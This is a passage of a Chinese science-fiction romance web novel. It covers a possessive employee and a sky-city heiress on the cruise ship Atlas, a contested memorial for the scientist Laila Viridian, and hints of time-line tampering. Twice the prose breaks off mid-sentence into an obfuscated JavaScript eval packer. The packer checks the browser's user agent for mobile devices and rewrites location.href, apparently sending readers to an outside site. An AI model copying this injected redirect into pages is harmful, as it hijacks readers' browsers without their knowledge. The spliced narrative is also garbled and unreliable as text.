鹦鹉罕见的无言以对,玻璃眼珠滴溜溜一转:“哦,岑,你别总是这么阴气森森的,斯诺克就是想让你晒晒太阳,才让你去见的老贝克。” “……晒晒太阳,”岑屿仔细咀嚼着这四个字,不动声色地按下针管表面复杂浮雕上的红色按钮,针尖立马弹回了机械壳内,“再去过一遍辐射吗?” 他将这管像极了电池的血液卡进墙上的空槽内,沉寂了许久的海盗屋瞬间活了过来,美妙的发条声响起,在全屋墙壁内环绕共振,连金属架上的蓝绿鹦鹉都深深吸了一大口气。 “嘎嘎嘎嘎嘎嘎!”如同渴了大半天的人重遇甘霖——它清了清嗓子,紧接着发出一阵鸭子般的叫声。 岑屿:“……” 岑屿:“你能安静一点吗?” 刚缓过一口气的鹦鹉差点又被气背过去——怪不得斯诺克不愿亲自见他,折鸟寿啊折鸟寿!它再也不要搭理这个没礼貌的人类了。 眼见工作任务顺利完成,岑屿也不打算在船长办公室多待,转身准备离去。 就在这时,一只灰毛大老鼠连滚带爬地撞进了船长室,二话不说对着岑屿与蓝绿鹦鹉行了三叩九拜大礼,吊着嗓子来了一句:“斯诺克船长在上,您要替草民做主啊,草民的游戏厅,被,被一个该死的女人给砸了!” “……一个该死的女人?”鹦鹉还没说话,一直表现得兴致缺缺的岑屿竟先撩起了眼皮,直勾勾地盯着地上那摊抖动的灰毛,“你是说那个黑卷发黑眼睛,1米68,赤足到我下巴,腰部柔软纤细,抱起来像一朵云,轻轻搂着也快化在怀里的……大小姐吗?” “是!……是吗?”大老鼠查理的嚎叫突然停滞在半空,什么叫抱起来……天可怜见的,他这肉手肉脚的小身板怎么能抱得起长手长脚的直立人……不对!他怎么会…… 它瞬间露出了一个惊悚的表情,然后同手同脚地往后哆嗦,想要立马滚出对方的视线,可惜已经来不及了。 无数只黏腻的触手在它身后的虚空内露出獠牙。它被一股无名巨力猛地掼起,死死扼住喉管,肺里的空气因经受不住如此暴力的冲击而疯狂逃窜。 “你让她碰那些脏东西了?”一股阴寒的气息漫上它的脊背,查理浑身的毛发顿时奓开。它颤抖着身子,拼尽全力想要开口解释,嘴里却只能冒出几个绝望的气音,“嗬…嗬……我……” “谁给你的胆子,敢向我的人推销你那些腌臢东西,”岑屿并不在乎眼前的灰耗子想狡辩什么,只是仰起头睨着它,将绞在它脖子上的力度逐渐加大,如同揉纸一般将它的骨头捏得皱缩变形。 “岑,这太血腥了,”空气中顿时响起了极其解压的“咔嚓咔嚓”声,在一旁看了大半天戏的鹦鹉终于想起了它的职责,于是扯着嗓子当起了和事佬,“查理也只是在帮陈家大老板做事,要是今年的流水不达标,咱们上上下下可都要遭殃的。” “斯诺克教你这么说的?”看着查理露出求饶般的无助表情,岑屿讥讽地问道:“那你猜,是我把整个邮轮掀进鲨鱼池里快,还是陈家派人下来视察工作快?” “……岑,你知道的,不止陈家,我们每年的死亡名单还要交由莱拉女士签字……这么多年了,她肯定快猜到阿特拉斯号的秘密了。” 见他依旧油盐不进,鹦鹉的声音里终于掺上了几分焦虑。它扑腾着翅膀腾空而起,绕着斯诺克的胡桃木方桌连转了好几圈。 “岑,她一直盯着阿特拉斯号!那双蓝色的恶魔之瞳……你别不信,这可是莱拉·维里迪安!任何电子设备都能成为她的耳目。当年星环下派的两名研究员在阿特拉斯号上死了一个,疯了一个,她不会放过…她不会放…嘎不嘎…她嘎…嘎!” 鹦鹉的语速渐快,翅膀也在空中搅出几个小气旋。可不知是因为音调太高导致它神经衰弱,还是这只忧思过重的傻鹦鹉一不小心撞上了什么——它竟然在半空中抽搐起来。 一时间,它那身绚烂的羽毛洋洋洒洒地铺满了整张桌子,与斯诺克桌上那堆杂乱的黄铜造物混作一团,而被它撞飞的煤油灯和烛台也近乎在同时寿终正寝。 这个疯癫程度不亚于就着头孢喝酒的精神病鸟抽搐着胡言乱语:“嘎……嘎嘎?不对!斯诺克在说什么?莱……莱……莱拉死了?什么?莱拉死了!” “不、不不、不!这不可能!莱拉怎么可能会被炸死,她可是量子领域的□□!全母星最……滋啦、滋啦!” “什么?葬礼 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她身上温热的气息如雨季的潮水,透过两层衣物,不知不觉便漫进了岑屿胸口跳动的肌肉组织。 感受到她外套上的钻石不轻不重地硌在自己胸口,岑屿喉头一滑,突然觉得身上这件员工服极度碍眼。他们本该如昨晚那般,皮贴着皮,肉粘着肉,管他心灵契不契合,至少在他们天空人的古词典里,这已经可以被称为,所谓的,“肌肤之亲”。 心中的恶劣因子泛滥,岑屿很想告诉眼前这只天真不设防的小羊羔,“因为我在监视您,您知道吗?无论是金迷纸醉的游戏厅,还是鱼龙混杂的蜂巢,只要有阴影的地方,就会有我的眼睛。” “您的魔术很精彩,但我不喜欢埃斯特万和那只灰毛畜生看您的眼神,那种该死的敬仰与害怕……不过我可以原谅埃斯特万,您配受万民的信仰。可那只该死的老鼠,它凭什么那么看着您,胆怯与恐惧,真是令人恶心得反胃,所以我杀了它,让它成为了您台灯的一丝电量,您喜欢吗?” “至于……您那位与您作对的未婚夫,他喜欢什么样的死法呢?是从天空城自由落体……还是在母星享受日光浴?都可以,只要您点头,他下一秒就可以……” 又是这种视线……盛初沅漫不经心地想,仰起头去追他的目光。 老实说,从出生开始,活在世界上的每一天,她从来都是人群中的焦点。追捧的,厌恶的,害怕的视线,如聚光灯般,永远聚焦于她的身上。 换作其他任何人,其灵魂与躯壳早应在这些炽热的目光下模糊融化,变成公众心中不可名状的提线木偶。 可盛小姐明显走向了另一个极端,她变得愈发肆意、恣睢、难以捉摸,稳稳接住了一切沉重复杂的心念与期待。 因此,她并不害怕岑屿眼中难以捉摸的晦暗情绪,甚至…… “这是爱意吗?”盛初沅仔细打量着他眼中明媚的倒影,“我竟然在他心中有这般地位……” “……哎呀,母星之行果真是太有意思了!” 11. 忌日礼 岑屿一直不开口,空气在目光交汇中变得迟滞。作为一个善解人意的天空城大小姐,盛初沅很乐意为对方递上合适的台阶。 她向后上方抬起手,轻轻摸了一把岑屿蓬松茂密的头发,微微用力,一下便将他的脑袋压到自己的肩窝里。 扑面而来的是与他相同的沐浴露香气,岑屿愣了几秒,面颊就被温热细腻的皮肤捕获。他感觉自己陷入了一片云中,带着轻飘飘的不真实感,他深深吸了一口气——然后他的手臂便莫名其妙地从盛小姐的腰间脱落,他的猎物又轻松逃脱了。 也不知道盛小姐是怎样做到的,她从岑屿的怀里轻轻滑出,然后三两步拐到了他的右边,再次揽上他的手臂,半是撒娇半是嗔怪,“走啦,岑先生,我还是想参加完莱拉女士的忌日礼再回去吃饭,您陪我一起去中心广场看看,好不好嘛?” “……”沉浸于刚刚温柔的触感,岑屿对眼前的姑娘讲不出一句拒绝的话。他舔了舔后槽牙,啧……该死的摩擦生热与热传导,他被盛小姐微微揽住的地方更烫了,那股燥热在黑西装包裹住的□□内乱闯,最后渐渐汇聚到下半身。 “……啊,好想吃掉她,让她完全浸透入我们中间,手脚被死死缠绕,只能靠我们腹腔中的氧气过活……然后…我会给她提供一个良心的买卖,亲一口获得一分钟的呼吸权…老天,我敢保证,世界上没有比这更划算的买卖了…” 邪恶的想法在脑中疯狂作祟,岑屿下意识地贴在盛初沅身边。等冰冷的现实再次刺激到他时,盛小姐已经牵着他连续选对了好几个岔路口了。 “您认识路?”岑屿心中又闪过一丝烦躁:“埃斯特万什么时候告诉您的?那您刚刚……” “因为我在等您呀!”盛初沅向他露出一个甜甜的笑容,将他彻底看痴了,丰盈饱满的嘴唇一张一合,向外缓缓吐着气,“我猜您会来找我,走太快了多耽误您赶过来的时间。” “哎呀,埃斯特万先生还没来得及将路线告诉我呢!不过迷宫嘛,只要站得够高,路就在眼前。您瞧,我们就快到了!” 临近中心广场,来往人流愈发密集,像一锅加多了配料的粥,化不开的粘稠。 岑屿帮她挡开了好几个不长眼、横冲直撞的家伙,状似平静地开口,“……盛小姐,我很好奇,您对莱拉女士的态度如何。您看上去并没有很敬仰她,为何会对她的忌日礼这么感兴趣?” 感兴趣到铁了心要来这人挤人的地方……那帮可恶的家伙,目光都快黏在她身上了。她分明是我的宝物,没有人可以觊觎!岑屿阴测测地扫视一周,将那些不相干的视线狠狠撕开。 “我对莱拉的态度吗?”盛初沅饶有兴味地重复了一遍这个问题——这话从前可没人敢当面问她。 “想我想想……莱拉啊,世人皆说她聪明绝顶,执棋便可胜天半子,甚至敢背上再创世的圣名。但在我眼里,她就是个彻头彻尾的大笨蛋!您知道吗?她真的很好骗,一顿晚饭就可以让她替别人卖一辈子命。” “至于忌日礼……岑先生,送上门的热闹,我为什么不来看看呢?据说啊,天空城的每一个大人物离世,大家都要连点三天赛博长明灯,用幽蓝数据流替他们引魂,将他们安葬于中心花园的赛博英灵塔。” “后来的扫墓者可以用终端连接塔身,以诚心换取英灵们的几句指点。这些指点都是由大数据根据英灵生前的言行推测出来的,最符合他们思考与行为模式的话语,好像他们还永远活着。这很有意思,不是吗?” 岑屿挑了挑眉,若有所指道:“您倒是大胆,敢说出与世人相悖的判词……不过比起莱拉,我更想知道,您呢?您会被一顿晚餐骗走吗?” “我啊……”盛初沅故意把尾音拖得长长的,偏着头向他笑,“嗯……那就要看这顿晚餐合不合我的胃口啦~” 岑屿垂下眼眸,目光细细描摹着她灿烂的笑容,笃定道:“这样吗?那我敢保证,您会满意的。” 盛初沅不置可否地耸耸肩,嘴角再往上勾了勾。 啧,她惯会如此,遇到这些暧昧的问题,不拒绝也不接受,只抛出一个若有若无的钩子,留下一缕绮丽的幻想或朦胧的色块。但那诱饵太过迷人,毕竟,没有人能拒绝去触碰水边的阿狄丽娜。 “岑先生,看样子我们来晚了,队伍都已经排列成型了。”盛初沅指着广场中央里三层外三层的人群感慨道。 果真,即便是在隐私权与独立权最受重视的寰宇纪,看热闹也是刻在人们骨子里的天性。尤其是这种带有争议性的热闹,更引发了诸位专家学者的腾腾热血。 “要我说,莱拉就是该下地狱,引星计划出了那么大的岔子,你敢说这不是她的全责?除了她谁还可以修改引力参数,天眼都捕捉到她了,MHT1472宜居测试的那天晚上,核心实验室只有她一个人!” 一位年轻学者冲着一大堆老教授唾沫横飞,“是!我是羡慕她的天赋,但这跟我站在她的对立面没有任何关系!” “进步都要付出血的代价!大英帝国的光荣革命,阿美利卡的独立战争,以及苏联共和国的十月革命,历史上没有人能阻止革命的枪响!引星计划只是牺牲了几个志愿者,他们的名字将永远刻在丰碑之上,这是他们的荣幸!” 头发花白的老教授愤怒地敲着拐杖,“你没有资格否认莱拉的功绩,她加快了寰宇纪近百年的发展!” “但这并不影响她亲自毁了引星计划!她究竟把人命当成了什么?可以随意玩弄的棋子吗?我早就说过她不切实际又目中无人!她就是个该死的恶魔,一个彻头彻尾的疯子!” “岑先生,您知道什么是引星计划吗?”在这片喧嚣当中,盛初沅轻轻问道,“不是那句带你走向蓝天的宣传语,您知道具体的内容吗?” 没等岑屿开口,她又自问自答道:“MHT1472,一颗最像母星的小行星,于寰宇纪472年被维里迪安中将发现于太阳系的第九行星。距太阳480AU,温度适宜,拥有固态地壳、地核、完整圈层结构。质量、直径均略高于地球。大气结构类远古地球的太古宙阶段,即原核生物造氧阶段。” “经计算推导,它的发展进程及生态环境与母星极度相像,因此被天空城的人们称为,年轻的母星。” “可惜它太年轻,遍体鳞伤的孩子们等不了它长大,为了最大程度挖掘其潜力,一位德高望重的老教授开创了星环研究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533803|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所,开展了星际移民第一阶段——探星计划。” “他们收集了大量数据,发现即使不考虑不成熟的大气层,其地表重力也已经达到地球的1.8倍,长期生存会对人类骨骼造成严重威胁。移民计划因此彻底陷入僵局,星环上空阴云密布,研究所面临解散,那些为了新母星而聚集在一起的热血青年也不得不各奔东西。” “直到——” “寰宇纪550年,路易斯·莫雷尔和阿兰·贝特朗,两位伟大的窃火者,他们带回了足以颠覆人们认知的黑色火种,让改变星球重力以及大气圈层结构的不可能变成了可能。”岑屿接上她的话头,“盛小姐,我认为这和莱拉没关系,那个时候莱拉还没出生……” “有关系的,”盛初沅笑吟吟地打断他,“科学本就是站在巨人的肩膀上思考。莱拉的所有研究成果都基于前人的数据,我们不能否认他们奠定的伟大基础。” 她将视线投向广场中央,这场荒诞又突兀的忌日礼准备开场了。颇具科技感的激光从上往下扫射,天空城的中心花园便在阿特拉斯号生根发芽。 在各类名贵花束的环绕中,一座银白色的方尖碑高耸入云——这当然是夸张描写,云朵早已随蓝天一起绝迹,所以方尖碑只是刺穿了阿特拉斯号的三、四、五、六层天花板,还不小心烫穿了那些高楼层倒霉行人的脚底板。 不少熟悉的天空城权贵出现在托举着方尖碑的高台上,神色各异,各怀鬼胎,与阿特拉斯号上来观礼的乘客有异曲同工之妙。 为了让场景更加身临其境,阿特拉斯号的广播也按时响起。圣母玛利亚的唱腔中混杂着抽泣声,盖过了窸窸窣窣的讨论与骂架,但不同派系的人们之间依然横着楚河汉界。 没有人相信莱拉女士会死于一场简单的大爆炸,哦,当然可能也并不简单,毕竟星环研究所确实被炸毁了大半,但莱拉可是千年难得一遇的天才,她怎么可能…… 可惜终端不会说谎,它与人脑中的智能芯片相关联,只有彻底的脑死亡才会让芯片向上传递死亡信号。 而那个象征着莱拉·维里迪安的身份证明的的确确变成了灰色。要知道,芯片安装是个不可逆的过程。除非莱拉女士从出生开始就没有安装芯片,大脑从未受到现代科技影响,不然她就算是逃到了天涯海角,只要还含有一口气,终端也不会显出她的死亡证明。 但这就更不可能了,天空城对芯片产线有一套严格的监控标准——不可以影响人类的思维,不可以影响人类的生理状态,不可以让人类对虚拟上瘾。 作为一种最大用途是监测健康状况、传输基础知识的普通日常工具,芯片对人百利而无一害,没有父母会在植入芯片同意书上签下“拒绝”二字。 总而言之,事实就是,伟大的莱拉·维里迪安女士死在了一场平凡又无聊的大爆炸之中,将所有爱她的恨她的人都抛在了脑后,尸骨无存。 “所以呢?您想表达什么?”见她迟迟不说话,岑屿又抛回了先前的话题,“您想说莱拉只是一个普通人吗?” 盛初沅笑着拍了他一下,佯嗔道:“我哪有这么说啦!不过岑先生,我很好奇,您觉得引力参数是莱拉修改的吗?” 12. 未婚夫 “我的观点重要吗?”岑屿反问道,“莱拉已经死了。” “那自然是重要的啊!要是能多一个人了解她,那她喝孟婆汤的时候也能轻松一些。” 那一群闪着幽光的大领导已经开始声泪俱下地哀悼,盛初沅顺势将头凑到岑屿耳边小声嘀咕,温热的呼吸吹得他的耳朵一点点泛上薄红。 “不瞒您说,事实上,就算有心如此,莱拉也没法修改引力参数,她缺少了激活引力程序的邀请码。” 又来了,那种被小猫爪子抓心挠肝的焦躁感……以及那种在庄重忌日礼上调情的背徳感,都在疯狂撕扯着岑屿的人形躯壳,叫嚣着让他现出原形。 岑屿舔了舔唇,状似不经意地问道:“盛小姐,您的未婚夫在上面吗?” “所以……?什么未婚夫?您怎么知道我有未婚夫……哎呀,您怎么不听我说话啊!”盛初沅半个身子已经倚到了他身上,闻言小声抱怨了几句,然后不情不愿道:“在……但我早就跟他分道扬镳了!我是清白……” “——啊!莱拉·维里迪安,作为您最最亲爱的同僚,我为您的突然逝世表示最沉痛的哀悼。遥想那些年,我们一起并肩作战的日子,多么幸福,多么可贵,往日种种,历历在目!” 黏腻肉麻的吊唁打断了盛初沅苍白的辩解,她的额角应激性地抽了抽。 真是说曹操曹操到,想也不用想她就知道这是谁——大背头,金丝框,黑西装,以及这幅恶心的腔调,全天下除了特雷梅恩那个死装自大男以外,她找不出第二个敢在莱拉的忌日礼上那么说话的人。 老实说,要是让盛初沅评选天空城中她最讨厌的人,那首当其冲的肯定是这个大傻帽,连虚伪做作的安德烈议长都要被压下一头。毕竟,他们俩之间的恩怨纠葛,不说个两三天都说不出个开头。 盛初沅强行克制住翻白眼的冲动,向岑屿露出一个更灿烂的笑容,“总之我再清白不过啦!您别在意这些无关紧要的人!在我眼里,他比不上您的万分之一!” “那您的意思是,他在您心里依旧有位置,是吗?”岑屿不依不饶地逗弄她。 “先生!您就非要在忌日礼上审问我的情感经历吗?”盛初沅悄悄憋出了两三滴眼泪,那盛着星星的眼睛立马变得水汪汪的,“我知道,有那么个人渣未婚夫真的很丢脸,但……” “但好在,您现在选择了另一个男人的怀抱?”岑屿将她眼角的泪水轻轻蹭掉,好整以暇地问道:“那他知道他的未婚妻如今正跟另一个不怀好意的男人同居吗?” “先生,您才没有不怀好意!全天下找不出第二个和您同样热心肠的人了!您帮我铺床、还给我做饭,会做饭的男人能坏到哪儿去?”盛初沅惊呼出声,没想到这一声彻底唤起了周围人群的表达欲。 一朵朵虚幻的长明灯从众人的手中飞出,一条沟通终端与英灵碑的银河在主会场与分会场的虚空中重叠。那几个老教授又与那个小年轻争执起来。 “哈?你说莱拉亲自毁了引星计划!那你知不知道?引力和大气是两个研究方向,莱拉主管加速大气层演化,她的实验成果是让MHT1472在十年之内达成母星数十亿年的演化效果。” “而主管引力系统改造的岑、白夫妇,早已在八年前的黑洞探索之旅中就去世了。据官方媒体播报,他们没有留下任何有价值的东西。自他们去世之后,引力参数的调节系统便再也没人能够打开,包括莱拉!” “如果不是莱拉作祟,那为什么在志愿者踏上新大陆的瞬间,MHT1472上的重力会骤增至原来的十倍?”远处那个义愤填膺的青年怒吼着问出了这个问题,“她根本就不配入主英灵碑!” “我反对让莱拉·维里迪安入主英灵碑!” 像是听到了他的怒吼,在安德烈议长假惺惺地表示要为莱拉的离世食素一个月后,一道凌厉的刀光劈开了那个装有莱拉生前信息资料的黑色光盘,代表智绘的蓝色光影自人群中杀向高台。 “啊啊啊啊啊啊啊啊啊!” “救命啊!杀人了!” 即使知道这仅仅是一道来自上面的幻影,日式光刀锋利的刀尖依旧惊起了广场上众人的恐慌,夫人小姐开始疯狂尖叫,而楚汉两头的人又开始激情对喷,场面一下变得不可控起来。 “什么!这是智绘?她疯了吗?她知不知道这是在背叛莱拉!背叛星环!莱拉对她还不够好吗?连特雷梅恩先生都在哀悼,她在干什么!砸场子吗?” “干得漂亮,千鸟智绘·冯·霍亨索伦,好样的!不愧是两大家族的共同继承人!莱拉那个疯女人根本不配入主英灵碑!” 面对锋利的刀尖与黑洞洞的枪口,莱拉的支持者们怒骂不止,反对者们高声喝彩,列成一排的权贵们噤若寒蝉,本在看热闹的盛初沅如同被吓到一般,把头深深埋进岑屿怀里,几不可闻地颤抖着,看起来像一只可怜的金丝雀。 唯有台上的阿斯特少爷饶有兴味地鼓起了掌,双眼直勾勾地盯着那位前同僚。 “智绘,你这又是什么意思呢?当初我让你跟我一块儿离开星环,你说你永远站在莱拉那一边,而现在呢?你连英灵碑都不让人家上。你别告诉我,你所谓的永远,仅仅只有八年。” “特雷梅恩,这跟你没关系,”智绘无视了他不怀好意的挑衅,看着那帮居高临下睨着她的权贵们,自顾自的道:“《天空城民主法案》中第三章第四条,议院、商会、军队、星环的几大家族皆有投票否决权,只要凑满三票,非发展性的重大决定都有权利否决。” “如今我代表议院的千鸟家、霍亨索伦家以及星环研究所,对莱拉·维里迪安女士入主英灵碑这一决定实行正当的否决权,诸位有什么意见吗?” 一席话如惊雷入水,掀起波涛一片。 “她疯了吧?不怕千鸟家和霍亨索伦家被夷为平地吗?” “打倒无良接班人,将星环还给普罗大众!” “抗议!抗议!禁止吸莱拉女士的人血馒头!天空城归还莱拉女士英雄待遇!” 这声来自莱克星顿的枪响让母星上的热血青年们骤然炸开了锅。他们纷纷举起手中的终端,自发组成游行队伍,向智绘的虚影投掷来自各地的特产,以示愤怒的抗议。 硬得能砸死人的黑法棍面包、腥臭恶心的仰望星空派以及滑腻且富有蛋白质的卡苏马苏奶酪,浸泡在下水道中的食物通过双手被扔向遥远的天空。 据后来者描述,当时在街道上乱飞的食物,收集起来足够星环食堂无成本运营一个月。 事关莱拉,天空城的贵族们不敢轻举妄动。忌日礼直播因“造成不良社会影响”被强行关停,投影在阿特拉斯号上的中心花园被连根拔起,天空城的权贵们直呼“此事往后再议!此事往后再议!” 莱拉女士似乎天生就具有打破壁垒的特质,忌日礼结束后半小时以内,相关报道已经如病毒般传遍天际。 千鸟家和霍亨索伦家的上一任话事人纷纷出来公关,表示不理解以及沉痛的叹息,但家族钢印已经移交,他们也有心无力。 对此,已经被强硬拐回金海101,美美吃上火锅的盛初沅中肯地评价道,真是虚伪中的虚伪,戏台都没搭好就冲上去扮丑角,也难怪这三家谁也看不起谁,都冲着那一桶白油漆去呢! “小智绘啊,活了二十多年,你也是在网上火了一把了。” 天空城,莫奈酒馆,拉兹洛·巴布尔一口干完了今晚的第十杯威士忌,醉醺醺地撑着头,“总算是让你蹭到属于莱拉的流量了!咱们星环研究所也快从废墟逆生长成平地了!” “如果她能让我省心一点,我也不至于整天都在帮她收拾烂摊子。”智绘平静地回复道,面前的清酒堪堪被抿了两三口,她又提着刀站起来。 “好了,我今晚还有事……你少喝一点,威廉已经跟我投诉过无数次,指控你要把他的库存全灌完了,他下个月要把你拉进黑名单。” “我可是他的消费者!消费者!哪有老板敢对他的大金主说这个!”每日酗酒的酒鬼本鬼不满地嚷嚷着。方圆百里就这么一家酒馆,要是真把他拉进黑名单,他还能上哪儿去见周公啊? 可惜面前冷漠的女人自从背负起两个家族的荣耀后,便总是行色匆匆,再也没空搭理他酒后癫狂的乱语——一切都太快了,一个泡在酒精里的中年人注定跟不上寰宇纪的飞速发展。 浮动的光点在智绘腰间的长刀与金雕花手枪上跳动,分别象征着千鸟家与霍亨索伦家的光刀与手枪在哪儿都闪耀异常。 拉兹洛微微眯起眼,涣散的瞳孔渐渐聚焦。仅仅几秒后,他叹了一口气,又续上了今晚的第十一杯酒。 酿酒的谷物在五脏六腑中转化,又在大脑中再次发酵,拉兹洛混混沌沌地想:“下次一定要抓顾副将出来喝两杯!” 无论网上吵得多么天昏地暗,从酒馆通向研究所的道路依旧安静祥和,只有尽头那高大的建筑群被炸成了废墟,等待着有志之徒的修复。 智绘没有走往常那条大道,反而拐进了一条小路,歪七扭八地绕了一阵,最终停在了一扇极不起眼的白色小门面前。开门、关门,在黑暗的虚空中刷了刷终端,一扇电梯门在她面前打开。 进门,按下悬浮光标,电梯开始缓缓上升。经过了数代改良的电梯运行自是稳妥,很难再感受到半点颠簸,但智绘还是不由自主地握紧了手中的光刀。 整个星环研究所共有六个实验区:生物医学实验区、计算科学实验区、叠态量子实验区、生态文明实验区、能源资源实验区,以及她即将到达的、被隐藏在最角落的、被称作引星计划的心脏的,天体物理实验区。 待电梯门再次打开时,星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“智绘,昨天莱拉搞破坏,没把你们生物基因库也炸了吧?”见智绘收取光刀坐到他身边,路易斯开始了与往日一般的闲谈。 “没,她特意避开了。” “她跑哪去了?有没有人督促她吃饭?哎……她那个臭习惯,一干起研究来就不管不顾的,有人看着都能连喝七天营养液,这要是……”路易斯絮絮叨叨。 “她说她去度假了,看她孔雀开屏的样子,估计还想勾搭条狗回来。您放心,有的是人赶上门去伺候她。” “这孩子啊……”路易斯忍俊不禁,“不过她是对的,她一天不离开,星环就永远在众人的注视之下,做什么都不方便。如今星环在外人看来已经毁了大半,你们的计划也快开始了吧?” “这是在套话吗?”智绘警惕地顿了顿,微微眯起眼。 但路易斯仿佛感受不到空气中的紧张似的,继续感慨道:“哎,我老了,已经看不透你们这帮年轻人了……自从阿菁和远辰去世后,你和莱拉就变得越来越复杂。” “如今梅恩带着溪荪出走,拉兹洛把自己困在梦想乡,哦,更别提你父亲,成天盯着自己的肚子想要扯出那串大肠,星环就只剩我一个留守老人了。” 智绘:“您想多了,您的智慧始终耀眼……还有,他不是我父亲。” 路易斯笑着摇摇头:“智绘,他很爱你,只是不知道怎么表达。” 智绘不屑一顾:“呵,五十多岁的人了,还没进修完语言的艺术吗?” “哎……你就当我老了吧,人老了就喜欢看儿孙满堂,合家团圆,”路易斯的眼神中闪过几丝复杂的光,“智绘,你知道吗?特雷梅恩可能成功了。” “什么?”智绘终于露出了一个震惊的神情,她挺直脊背,试图在路易斯的眼神中找出试探与套话的痕迹,很遗憾的是,她失败了。 “智绘,我在天眼中看到了莱拉。那天晚上,确实有一个莱拉·维里迪安出现在核心实验室,修改了引力数据。” “不可能!您知道那个核心程序需要白菁女士或岑远辰先生的生物基因才能修改,莱拉只有钥匙,却打不开锁。”智绘斩钉截铁道。 “我知道,我知道……但是智绘,你知道这意味了什么——被证伪过无数次的特雷梅恩成功了。实验室里的那个并不是平叙时间线中的莱拉,而在那个插叙的时间线,莱拉很可能已经找到了她老师的血亲,掌握的信息也比我们要多得多。” “智绘,我的确修改了天眼,我把天眼拍下的特雷梅恩给删了。事实上,那天晚上,他们俩都在核心实验室。” “原谅我,智绘,但我太想知道阿兰当年究竟是看到了什么,让他一声不吭地自杀了……”路易斯一脸怅然,“所以我帮了特雷梅恩一次,仅此一次……” 13. 铁骑区 三日后,金海101。 在无数只眼睛的注视下,盛初沅侧躺在客厅的沙发上,慢慢翻看一本泛黄的纸质书,从毛毯中滑出的小腿有一搭没一搭地摇晃着。 精致浪漫的古典家具组合搭建起虚荣浮华的神龛,美丽的贵族小姐被供奉其上,而她最忠诚的信徒正为她端来一碗热腾腾的燕麦桃胶。 察觉到岑屿的靠近,盛初沅将手上的那本《亚瑟王之死》随意盖在一旁,招呼着他坐下。 岑屿挑了挑眉,并没有选择沙发尾部那一大片空隙,反而走到了她身前,将糖水小心地搁在桌子上,弯腰低头,扣住了她的脚踝,起身,顺势在她两条小腿间坐下。 “盛小姐,我记得我跟您说过,不要在外人面前穿那么少。”岑屿摩挲着她纤细的脚踝,手腕不自觉地带了几分力度,引得那白皙的肌肤透出几抹淡淡的粉红。 “我也没有穿得很少啊,谁家大小姐在家里穿正装的啊,您第一次见我的时候不也穿背心嘛!”盛初沅立马不乐意了,把毯子一掀,开始展示起她纯白蕾丝泡泡袖睡裙,“况且,都住一间屋子了,您还算什么外人啊!” 理是这个理,可惜眼前这位阴笃的男人可不比叶卡捷琳娜小姐好伺候,他一边厌恶着别人觊觎盛小姐裸/露的肌肤,一边巴不得人家一件都别穿,天天跟他厮混在一块。 感受到沉重的目光在身上逡巡,盛初沅慢悠悠地坐直了,抬手去蒙他的眼睛,轻飘飘地来了一句,“先生,既然不喜欢,那就别看了,何必委屈自己。” “……没有不喜欢,您美得惊心动魄。”岑屿沉声称赞道。 “那我就默认为可以这么穿咯。”盛初沅露出一个狡黠的笑容,几秒后又意识到他被自己蒙着眼,什么也看不到,于是开始大胆起来,蜷着脚趾去蹭他的腹肌,“岑先生,我们还要在船上呆多久啊,什么时候才能到铁骑区?我都快要闷出海藻了!” 五感被抽去一感后,人的感知系统便如被打翻的调色盘,各种色彩相交融,不断混匀,逐渐变色,直到最深的颜色占领主位——啊,该死的,难耐的,触觉。 或许是想配合她的情趣,岑屿特地切断了本体与它们之间的联系,顺势闭上眼,让自己彻底沉入黑暗。 ……这是一群吞了火药的蚂蚁,在他身上肆意地爬动点火。从下到上,从虚到实,他整个人都陷入了一场无法发泄的狂欢,连头发丝都被盛小姐的温柔乡浸染,喉间也时不时泄出一两声低喘。 “快了,明天上午就能靠泊……您若是嫌公寓内太无聊…大可以去娱乐区玩……不用等埃斯特万…我可以陪您一起。” 像是受到了莫大的惊吓,自那场混乱的忌日礼结束过后,盛初沅便再也没有踏出过金海101一步。一天到晚不是绕着岑屿转来转去,就是和来回切换的居家智能体快乐地唠唠嗑。 光这几天的劲儿,热情的凯妮娜夫人已经快把盛小姐看作宝贝女儿了,两人亲亲热热的,引得岑屿肚子里狂冒酸水。 “啊,我没有在等埃斯特万先生,虽然他这几天估计难过得要命……”盛初沅向他解释道,“岑先生,我只是在为莱拉服丧啦!整整三天哦!当然顺便也完成一些有意思的小工作。您当真没发现,您的全屋智能系统变得更聪明了吗?” “……没有,我只感觉它们占用了您大部分的时间。”岑屿冷漠无情道。 “哎呀!您坏死了!”盛初沅笑着收回了盖在他眼睛上的手,又用额头安抚性地蹭了蹭对方的肩,“好啦,我保证,从铁骑区回来后,我会请您带我去到处转转的。” “……” “她总是这般巧舌如簧……但,我会相信她,也应当相信她……只要她还属于我……”岑屿勉强接受了她的保证,思维却不自觉地游离着,“我要做点什么……她……” 下一秒,他的目光蓦地落在那碗被冷落的燕麦桃胶上,心脏疯狂一震。 他猛地端起碗,尝了一口,温度适宜,然后下一勺就递到了盛初沅嘴边。 如确定主权般,岑屿颤抖着命令道:“盛小姐,张嘴……” 第二天清晨,紫红色的海雾漫起,主宰了一整个黑夜的惊涛被压回海平面以下。扫描到阿特拉斯号靠近,基地接驳口开始一节一节地向外吐出密不透风的钢铁栈桥,藏在黑色金属球壳下的铁骑区终于准备展露出它的真面目。 所有人都在为即将到来的靠岸做好准备。 员工区的广播难得的聒噪,没营养的贫嘴荼毒了每一位将醒未醒的居民。 “嘟——嘟——嘟——着陆!着陆!着陆!” “着陆个屁啊!这叫靠泊!靠泊!埃斯特万!你想飞船想疯了。” 